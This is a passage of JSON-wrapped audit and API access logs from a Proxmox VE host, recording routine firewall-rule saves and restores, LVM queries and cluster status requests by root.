{"@timestamp":1781964955640,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965819424,"@rawstring":"node=pve type=EXECVE msg=audit(1781965819.424:67241): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964205537,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.537:60024): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965834469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965834.469:67290): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64621 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565356,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.356:66164): arch=c000003e syscall=59 success=yes exit=0 a0=7ffeb4aa1040 a1=5fd6abeae200 a2=5fd6abe8c680 a3=5 items=2 ppid=63547 pid=63548 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964954631,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:54 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965819417,"@rawstring":"node=pve type=EXECVE msg=audit(1781965819.417:67238): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964205529,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.529:60023): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965834464,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965834.464:67287): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.350:66162): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964954631,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965815268,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.268:67235): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964205525,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.525:60022): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965833585,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965833.585:67284): arch=c000003e syscall=59 success=yes exit=0 a0=61301a94e3e0 a1=61301a93c820 a2=61301a8aab30 a3=8 items=2 ppid=1541 pid=64618 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"curl\" exe=\"/usr/bin/curl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565344,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.344:66161): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964954631,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 847"} {"@timestamp":1781965815265,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.265:67234): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964205518,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.518:60021): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965829456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965829.456:67283): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565336,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.336:66160): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964951709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965815264,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.264:67233): argc=1 a0=\"date\""} {"@timestamp":1781964205512,"@rawstring":"node=pve type=EXECVE msg=audit(1781964205.512:60020): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965829447,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965829.447:67280): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64616 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565330,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.330:66159): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63544 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964951709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965815259,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.259:67231): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964204098,"@rawstring":"node=pve type=EXECVE msg=audit(1781964204.098:60019): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965825431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.431:67277): arch=c000003e syscall=59 success=yes exit=0 a0=594c7c2d0cf0 a1=594c7c2dcab0 a2=594c7c2aa680 a3=5 items=2 ppid=64609 pid=64615 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565322,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.322:66158): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63543 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964951709,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781965815251,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.251:67230): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964204063,"@rawstring":"node=pve type=EXECVE msg=audit(1781964204.063:60018): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965825428,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.428:67276): arch=c000003e syscall=59 success=yes exit=0 a0=594c79bacac8 a1=7ffdc44772d0 a2=594c7c2aa680 a3=594c79b9024e items=2 ppid=64609 pid=64611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565318,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.318:66157): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=578ca9210740 items=0 ppid=1156 pid=63542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964951709,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965815243,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.243:67229): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964203298,"@rawstring":"node=pve type=EXECVE msg=audit(1781964203.298:60017): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965825427,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.427:67275): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdc4477290 a1=594c7c2cc390 a2=594c7c2aa680 a3=5 items=2 ppid=64609 pid=64610 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565315,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.315:66156): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f10f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964948690,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965815236,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.236:67228): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964203287,"@rawstring":"node=pve type=EXECVE msg=audit(1781964203.287:60014): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965825422,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.422:67273): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64609 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.310:66155): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1348d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964948690,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781965815229,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.229:67227): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964198276,"@rawstring":"node=pve type=EXECVE msg=audit(1781964198.276:60011): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965825414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.414:67272): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64608 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565301,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.301:66154): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f0bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63540 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964948690,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965815220,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.220:67225): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964198268,"@rawstring":"node=pve type=EXECVE msg=audit(1781964198.268:60008): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965825405,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.405:67271): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64607 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565296,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.296:66153): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb9892aa0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63539 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964948690,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 842"} {"@timestamp":1781965815214,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.214:67224): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964195501,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.501:60005): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965825399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.399:67270): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565290,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.290:66152): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964947677,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965815207,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.207:67223): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964195497,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.497:60004): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965825391,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.391:67269): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.285:66151): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d820 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63537 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964945666,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:44 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965815199,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.199:67222): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964195496,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.496:60003): argc=1 a0=\"date\""} {"@timestamp":1781965825386,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.386:67268): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=557f5766b740 items=0 ppid=1156 pid=64604 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965565277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.277:66150): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63536 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964945666,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965815192,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.192:67221): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964195492,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.492:60001): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965825384,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.384:67267): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc101470 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64604 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565269,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.269:66149): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63535 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964944659,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965815187,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.187:67220): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964195485,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.485:60000): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965825378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.378:67266): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138970 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64603 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565263,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.263:66148): arch=c000003e syscall=59 success=yes exit=0 a0=58e77aaf6e90 a1=58e77aaf3c10 a2=58e77aad5680 a3=5 items=2 ppid=63528 pid=63534 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964943664,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965815179,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.179:67219): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964195479,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.479:59999): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965825370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.370:67265): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ee260 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565258,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.258:66147): arch=c000003e syscall=59 success=yes exit=0 a0=58e7675b4ac8 a1=7ffe3acad680 a2=58e77aad5680 a3=58e76759824e items=2 ppid=63528 pid=63530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964942510,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965815171,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.171:67218): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964195471,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.471:59998): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965825364,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.364:67264): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e8310 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64601 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.257:66146): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe3acad640 a1=58e77aadc310 a2=58e77aad5680 a3=5 items=2 ppid=63528 pid=63529 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964942510,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 845"} {"@timestamp":1781965815167,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.167:67217): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964195466,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.466:59997): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965825357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.357:67263): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee260 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965565.250:66144): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63528 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964942510,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965815163,"@rawstring":"node=pve type=EXECVE msg=audit(1781965815.163:67216): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964195460,"@rawstring":"node=pve type=EXECVE msg=audit(1781964195.460:59995): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965825352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965825.352:67262): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c7460 a2=55ecb805f500 a3=b items=2 ppid=1156 